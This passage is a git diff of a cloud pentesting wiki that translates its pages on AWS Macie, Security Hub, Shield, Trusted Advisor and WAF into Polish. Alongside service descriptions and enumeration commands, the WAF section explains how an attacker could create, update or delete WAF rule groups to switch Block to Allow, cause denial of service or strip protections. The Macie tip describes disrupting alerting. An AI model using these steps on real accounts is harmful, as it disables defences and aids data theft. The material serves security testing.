[https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..2de96b676 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macie wyróżnia się jako usługa zaprojektowana do **automatycznego wykrywania, klasyfikowania i identyfikowania danych** w ramach konta AWS. Wykorzystuje **uczenie maszynowe** do ciągłego monitorowania i analizowania danych, koncentrując się głównie na wykrywaniu i ostrzeganiu przed nietypowymi lub podejrzanymi działaniami poprzez badanie danych **cloud trail event** oraz wzorców zachowań użytkowników. -Key Features of Amazon Macie: +Kluczowe funkcje Amazon Macie: -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **Aktywna recenzja danych**: Wykorzystuje uczenie maszynowe do aktywnej recenzji danych w miarę występowania różnych działań w ramach konta AWS. +2. **Wykrywanie anomalii**: Identyfikuje nieregularne działania lub wzorce dostępu, generując alerty w celu złagodzenia potencjalnych ryzyk związanych z ujawnieniem danych. +3. **Ciągłe monitorowanie**: Automatycznie monitoruje i wykrywa nowe dane w Amazon S3, wykorzystując uczenie maszynowe i sztuczną inteligencję do dostosowywania się do wzorców dostępu do danych w czasie. +4. **Klasyfikacja danych z NLP**: Wykorzystuje przetwarzanie języka naturalnego (NLP) do klasyfikacji i interpretacji różnych typów danych, przypisując wyniki ryzyka w celu priorytetyzacji ustaleń. +5. **Monitorowanie bezpieczeństwa**: Identyfikuje dane wrażliwe na bezpieczeństwo, w tym klucze API, klucze tajne i informacje osobiste, pomagając zapobiegać wyciekom danych. -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macie jest **usługą regionalną** i wymaga roli IAM 'AWSMacieServiceCustomerSetupRole' oraz włączonego AWS CloudTrail do działania. -### Alert System +### System powiadomień -Macie categorizes alerts into predefined categories like: +Macie klasyfikuje alerty w predefiniowane kategorie, takie jak: -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation +- Anonimizowany dostęp +- Zgodność z danymi +- Utrata poświadczeń +- Eskalacja uprawnień - Ransomware -- Suspicious access, etc. +- Podejrzany dostęp, itd. -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +Te alerty dostarczają szczegółowych opisów i analiz wyników dla skutecznej reakcji i rozwiązania problemu. -### Dashboard Features +### Funkcje pulpitu nawigacyjnego -The dashboard categorizes data into various sections, including: +Pulpit nawigacyjny klasyfikuje dane w różnych sekcjach, w tym: -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- Obiekty S3 (według zakresu czasowego, ACL, PII) +- Wydarzenia/użytkownicy CloudTrail o wysokim ryzyku +- Lokalizacje aktywności +- Typy tożsamości użytkowników CloudTrail i inne. -### User Categorization +### Klasyfikacja użytkowników -Users are classified into tiers based on the risk level of their API calls: +Użytkownicy są klasyfikowani w poziomach na podstawie poziomu ryzyka ich wywołań API: -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **Platinum**: Wywołania API o wysokim ryzyku, często z uprawnieniami administratora. +- **Gold**: Wywołania API związane z infrastrukturą. +- **Silver**: Wywołania API o średnim ryzyku. +- **Bronze**: Wywołania API o niskim ryzyku. -### Identity Types +### Typy tożsamości -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +Typy tożsamości obejmują Root, użytkownika IAM, przyjętą rolę, użytkownika federacyjnego, konto AWS i usługę AWS, wskazując źródło żądań. -### Data Classification +### Klasyfikacja danych -Data classification encompasses: +Klasyfikacja danych obejmuje: -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- Typ zawartości: Na podstawie wykrytego typu zawartości. +- Rozszerzenie pliku: Na podstawie rozszerzenia pliku. +- Temat: Klasyfikowane według słów kluczowych w plikach. +- Regex: Klasyfikowane na podstawie określonych wzorców regex. -The highest risk among these categories determines the file's final risk level. +Najwyższe ryzyko wśród tych kategorii określa ostateczny poziom ryzyka pliku. -### Research and Analysis +### Badania i analiza -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. - -### Enumeration +Funkcja badawcza Amazon Macie umożliwia niestandardowe zapytania w całych danych Macie w celu przeprowadzenia szczegółowej analizy. Filtry obejmują dane CloudTrail, właściwości koszyka S3 i obiekty S3. Ponadto wspiera zapraszanie innych kont do współdzielenia Amazon Macie, ułatwiając współpracę w zarządzaniu danymi i monitorowaniu bezpieczeństwa. +### Enumeracja ``` # Get buckets aws macie2 describe-buckets @@ -102,12 +101,11 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - #### Post Exploitation > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> Z perspektywy atakującego, ta usługa nie jest stworzona do wykrywania atakującego, ale do wykrywania wrażliwych informacji w przechowywanych plikach. Dlatego ta usługa może **pomóc atakującemu w znalezieniu wrażliwych informacji** w bucketach.\ +> Jednak być może atakujący mógłby być również zainteresowany zakłóceniem jej działania, aby uniemożliwić ofierze otrzymywanie powiadomień i łatwiejsze kradzież tych informacji. TODO: PRs are welcome! @@ -116,7 +114,3 @@ TODO: PRs are welcome! - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..90862bc0b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,23 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub** zbiera dane dotyczące bezpieczeństwa **z różnych kont AWS**, usług i wspieranych produktów partnerów trzecich oraz pomaga **analizować trendy bezpieczeństwa** i identyfikować najważniejsze problemy związane z bezpieczeństwem. -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +Centralizuje **powiadomienia związane z bezpieczeństwem w różnych kontach** i zapewnia interfejs użytkownika do ich przeglądania. Największym ograniczeniem jest to, że **nie centralizuje powiadomień w różnych regionach**, tylko w ramach kont. -**Characteristics** +**Cechy** -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards +- Regionalne (znalezienia nie przekraczają regionów) +- Wsparcie dla wielu kont +- Znalezienia z: +- Guard Duty +- Config +- Inspector +- Macie +- strony trzeciej +- samodzielnie generowane zgodnie z standardami CIS ## Enumeration - ``` # Get basic info aws securityhub describe-hub @@ -50,18 +49,13 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` +## Ominięcie Wykrywania -## Bypass Detection +TODO, PRs akceptowane -TODO, PRs accepted - -## References +## Odniesienia - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..97476d54b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shield został zaprojektowany, aby **chronić twoją infrastrukturę przed rozproszonymi atakami typu denial of service**, powszechnie znanymi jako DDoS. -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** jest **darmowy** dla wszystkich i oferuje **ochronę DDoS** przed niektórymi z bardziej powszechnych ataków DDoS na poziomie trzecim, **warstwie sieciowej**, oraz na poziomie czwartym, **warstwie transportowej**. Ta ochrona jest zintegrowana zarówno z CloudFront, jak i Route 53. -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield Advanced** oferuje **wyższy poziom ochrony** przed atakami DDoS w szerszym zakresie usług AWS za dodatkową opłatą. Ten zaawansowany poziom oferuje ochronę dla twoich aplikacji internetowych działających na EC2, CloudFront, ELB oraz Route 53. Oprócz tych dodatkowych typów zasobów, oferowane są również ulepszone poziomy ochrony DDoS w porównaniu do Standard. Będziesz również miał **dostęp do specjalistycznego zespołu reakcji na DDoS w AWS, znanego jako DRT, dostępnego 24 godziny na dobę, 7 dni w tygodniu**. -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +Podczas gdy wersja Standard Shield oferowała ochronę przed poziomem trzecim i czwartym, **Advanced oferuje również ochronę przed atakami na poziomie siódmym, aplikacyjnym.** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..8eeea2a13 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,70 +6,66 @@ ## AWS Trusted Advisor Overview -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +Trusted Advisor to usługa, która **oferuje rekomendacje** w celu optymalizacji Twojego konta AWS, zgodnie z **najlepszymi praktykami AWS**. Jest to usługa działająca w wielu regionach. Trusted Advisor oferuje wgląd w cztery główne kategorie: -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **Optymalizacja kosztów:** Sugeruje, jak przekształcić zasoby, aby zmniejszyć wydatki. +2. **Wydajność:** Identyfikuje potencjalne wąskie gardła wydajności. +3. **Bezpieczeństwo:** Skanuje w poszukiwaniu luk lub słabych konfiguracji zabezpieczeń. +4. **Odporność na awarie:** Rekomenduje praktyki zwiększające odporność usług i tolerancję na awarie. -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Kompleksowe funkcje Trusted Advisor są dostępne wyłącznie w ramach **planów wsparcia biznesowego lub przedsiębiorstw AWS**. Bez tych planów dostęp ogranicza się do **sześciu podstawowych kontroli**, głównie skoncentrowanych na wydajności i bezpieczeństwie. ### Notifications and Data Refresh -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- Trusted Advisor może wydawać powiadomienia. +- Elementy mogą być wyłączane z jego kontroli. +- Dane są odświeżane co 24 godziny. Jednak ręczne odświeżenie jest możliwe 5 minut po ostatnim odświeżeniu. ### **Checks Breakdown** #### CategoriesCore -1. Cost Optimization -2. Security -3. Fault Tolerance -4. Performance -5. Service Limits -6. S3 Bucket Permissions +1. Optymalizacja kosztów +2. Bezpieczeństwo +3. Odporność na awarie +4. Wydajność +5. Limity usług +6. Uprawnienia do koszyków S3 #### Core Checks -Limited to users without business or enterprise support plans: +Ograniczone do użytkowników bez planów wsparcia biznesowego lub przedsiębiorstw: -1. Security Groups - Specific Ports Unrestricted -2. IAM Use -3. MFA on Root Account -4. EBS Public Snapshots -5. RDS Public Snapshots -6. Service Limits +1. Grupy zabezpieczeń - Niekontrolowany dostęp do określonych portów +2. Użycie IAM +3. MFA na koncie głównym +4. Publiczne migawki EBS +5. Publiczne migawki RDS +6. Limity usług #### Security Checks -A list of checks primarily focusing on identifying and rectifying security threats: +Lista kontroli koncentrująca się głównie na identyfikacji i naprawie zagrożeń bezpieczeństwa: -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- Ustawienia grup zabezpieczeń dla portów wysokiego ryzyka +- Niekontrolowany dostęp do grup zabezpieczeń +- Otwarty dostęp do zapisu/listy do koszyków S3 +- Włączone MFA na koncie głównym +- Uległość grupy zabezpieczeń RDS +- Użycie CloudTrail +- Rekordy SPF dla rekordów MX Route 53 +- Konfiguracja HTTPS na ELB +- Grupy zabezpieczeń dla ELB +- Kontrole certyfikatów dla CloudFront +- Rotacja kluczy dostępu IAM (co 90 dni) +- Ekspozycja kluczy dostępu (np. na GitHubie) +- Publiczna widoczność migawek EBS lub RDS +- Słabe lub brakujące polityki haseł IAM -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +AWS Trusted Advisor działa jako kluczowe narzędzie w zapewnieniu optymalizacji, wydajności, bezpieczeństwa i odporności na awarie usług AWS na podstawie ustalonych najlepszych praktyk. ## **References** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..eacacf9dd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAF to **zapora aplikacji internetowej** zaprojektowana w celu **ochrony aplikacji internetowych lub interfejsów API** przed różnymi exploitami internetowymi, które mogą wpłynąć na ich dostępność, bezpieczeństwo lub zużycie zasobów. Umożliwia użytkownikom kontrolowanie ruchu przychodzącego poprzez ustawienie **reguł bezpieczeństwa**, które łagodzą typowe wektory ataków, takie jak wstrzykiwanie SQL czy skrypty międzywitrynowe, a także poprzez definiowanie niestandardowych reguł filtrujących. -### Key concepts +### Kluczowe pojęcia -#### Web ACL (Access Control List) +#### Web ACL (Lista Kontroli Dostępu) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Web ACL to zbiór reguł, które możesz zastosować do swoich aplikacji internetowych lub interfejsów API. Gdy powiążesz Web ACL z zasobem, AWS WAF sprawdza przychodzące żądania na podstawie reguł zdefiniowanych w Web ACL i podejmuje określone działania. -#### Rule Group +#### Grupa reguł -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Grupa reguł to wielokrotnego użytku zbiór reguł, które możesz zastosować do wielu Web ACL. Grupy reguł pomagają zarządzać i utrzymywać spójne zestawy reguł w różnych aplikacjach internetowych lub interfejsach API. -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +Każda grupa reguł ma przypisaną **pojemność**, która pomaga obliczyć i kontrolować zasoby operacyjne używane do uruchamiania twoich reguł, grup reguł i Web ACL. Po ustawieniu jej wartości podczas tworzenia nie można jej zmienić. -#### Rule +#### Reguła -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +Reguła definiuje zestaw warunków, które AWS WAF wykorzystuje do sprawdzania przychodzących żądań internetowych. Istnieją dwa główne typy reguł: -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **Reguła standardowa**: Ten typ reguły wykorzystuje określone warunki do ustalenia, czy zezwolić, zablokować lub zliczyć żądania internetowe. +2. **Reguła oparta na szybkości**: Zlicza żądania z określonego adresu IP w ciągu pięciu minut. Użytkownicy definiują próg, a jeśli liczba żądań z danego IP przekroczy ten limit w ciągu pięciu minut, kolejne żądania z tego IP są blokowane, aż wskaźnik żądań spadnie poniżej progu. Minimalny próg dla reguł opartych na szybkości to **2000 żądań**. -#### Managed Rules +#### Zarządzane reguły -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +AWS WAF oferuje wstępnie skonfigurowane, zarządzane zestawy reguł, które są utrzymywane przez AWS i sprzedawców z AWS Marketplace. Te zestawy reguł zapewniają ochronę przed powszechnymi zagrożeniami i są regularnie aktualizowane w celu rozwiązania nowych luk w zabezpieczeniach. -#### IP Set +#### Zestaw IP -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +Zestaw IP to lista adresów IP lub zakresów adresów IP, które chcesz zezwolić lub zablokować. Zestawy IP upraszczają proces zarządzania regułami opartymi na IP. -#### Regex Pattern Set +#### Zestaw wzorców Regex -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +Zestaw wzorców Regex zawiera jedną lub więcej wyrażeń regularnych (regex), które definiują wzorce do wyszukiwania w żądaniach internetowych. Jest to przydatne w bardziej złożonych scenariuszach dopasowywania, takich jak filtrowanie określonych sekwencji znaków. -#### Lock Token +#### Token blokady -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +Token blokady jest używany do kontroli współbieżności podczas aktualizacji zasobów WAF. Zapewnia, że zmiany nie są przypadkowo nadpisywane przez wielu użytkowników lub procesy próbujące jednocześnie zaktualizować ten sam zasób. -#### API Keys +#### Klucze API -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +Klucze API w AWS WAF są używane do uwierzytelniania żądań do określonych operacji API. Te klucze są szyfrowane i zarządzane w sposób bezpieczny, aby kontrolować dostęp i zapewnić, że tylko autoryzowani użytkownicy mogą wprowadzać zmiany w konfiguracjach WAF. -- **Example**: Integration of the CAPTCHA API. +- **Przykład**: Integracja z API CAPTCHA. -#### Permission Policy +#### Polityka uprawnień -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +Polityka uprawnień to polityka IAM, która określa, kto może wykonywać działania na zasobach AWS WAF. Definiując uprawnienia, możesz kontrolować dostęp do zasobów WAF i zapewnić, że tylko autoryzowani użytkownicy mogą tworzyć, aktualizować lub usuwać konfiguracje. -#### Scope +#### Zakres -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +Parametr zakresu w AWS WAF określa, czy reguły i konfiguracje WAF mają zastosowanie do aplikacji regionalnej czy dystrybucji Amazon CloudFront. -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **REGIONAL**: Dotyczy regionalnych usług, takich jak Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service i AWS Verified Access instance. Określasz region AWS, w którym znajdują się te zasoby. +- **CLOUDFRONT**: Dotyczy dystrybucji Amazon CloudFront, które są globalne. Konfiguracje WAF dla CloudFront są zarządzane przez region `us-east-1`, niezależnie od tego, gdzie treść jest serwowana. -### Key features +### Kluczowe funkcje -#### Monitoring Criteria (Conditions) +#### Kryteria monitorowania (Warunki) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**Warunki** określają elementy przychodzących żądań HTTP/HTTPS, które AWS WAF monitoruje, w tym XSS, lokalizację geograficzną (GEO), adresy IP, ograniczenia rozmiaru, wstrzykiwanie SQL oraz wzorce (dopasowywanie ciągów i regex). Ważne jest, aby zauważyć, że **żądania ograniczone na poziomie CloudFront na podstawie kraju nie dotrą do WAF**. -Each AWS account can configure: +Każde konto AWS może skonfigurować: -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **100 warunków** dla każdego typu (z wyjątkiem Regex, gdzie dozwolone są tylko **10 warunków**, ale ten limit można zwiększyć). +- **100 reguł** i **50 Web ACL**. +- Maksymalnie **5 reguł opartych na szybkości**. +- Przepustowość **10 000 żądań na sekundę**, gdy WAF jest wdrożony z aplikacyjnym load balancerem. -#### Rule actions +#### Działania reguł -Actions are assigned to each rule, with options being: +Działania są przypisane do każdej reguły, a opcje to: -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **Zezwól**: Żądanie jest przekazywane do odpowiedniej dystrybucji CloudFront lub Application Load Balancer. +- **Zablokuj**: Żądanie jest natychmiast przerywane. +- **Zlicz**: Zlicza żądania spełniające warunki reguły. Jest to przydatne do testowania reguł, potwierdzania dokładności reguły przed ustawieniem jej na Zezwól lub Zablokuj. +- **CAPTCHA i Wyzwanie:** Weryfikuje, że żądanie nie pochodzi od bota, używając zagadek CAPTCHA i cichych wyzwań. -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +Jeśli żądanie nie pasuje do żadnej reguły w Web ACL, podlega **domyślnemu działaniu** (Zezwól lub Zablokuj). Kolejność wykonywania reguł, zdefiniowana w Web ACL, jest kluczowa i zazwyczaj przebiega w następującej kolejności: -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. Zezwól na białe listy IP. +2. Zablokuj czarne listy IP. +3. Zablokuj żądania pasujące do jakichkolwiek szkodliwych sygnatur. -#### CloudWatch Integration +#### Integracja z CloudWatch -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +AWS WAF integruje się z CloudWatch w celu monitorowania, oferując metryki takie jak AllowedRequests, BlockedRequests, CountedRequests i PassedRequests. Te metryki są raportowane co minutę domyślnie i przechowywane przez okres dwóch tygodni. -### Enumeration +### Enumeracja -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +Aby interagować z dystrybucjami CloudFront, musisz określić region US East (N. Virginia): -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - Określ region US East, gdy używasz zakresu CloudFront: `--scope CLOUDFRONT --region=us-east-1`. +- API i SDK - Dla wszystkich wywołań użyj punktu końcowego regionu us-east-1. -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +Aby interagować z usługami regionalnymi, powinieneś określić region: +- Przykład z regionem Europa (Hiszpania): `--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - ### Post Exploitation / Bypass > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> Z perspektywy atakującego, ta usługa może pomóc atakującemu zidentyfikować zabezpieczenia WAF i ekspozycje sieciowe, które mogą pomóc mu w kompromitacji innych stron. > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> Jednak atakujący może być również zainteresowany zakłóceniem tej usługi, aby strony nie były chronione przez WAF. -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +W wielu operacjach usuwania i aktualizacji konieczne byłoby podanie **tokena blokady**. Token ten jest używany do kontroli współbieżności nad zasobami, zapewniając, że zmiany nie są przypadkowo nadpisywane przez wielu użytkowników lub procesy próbujące jednocześnie zaktualizować ten sam zasób. Aby uzyskać ten token, można wykonać odpowiednie operacje **list** lub **get** na konkretnym zasobie. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +Atakujący mógłby skompromitować bezpieczeństwo dotkniętego zasobu poprzez: +- Tworzenie grup reguł, które mogłyby na przykład blokować ruch z legalnych adresów IP, powodując odmowę usługi. +- Aktualizowanie grup reguł, mając możliwość modyfikacji ich działań na przykład z **Block** na **Allow**. +- Usuwanie grup reguł, które zapewniają krytyczne środki bezpieczeństwa. ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate 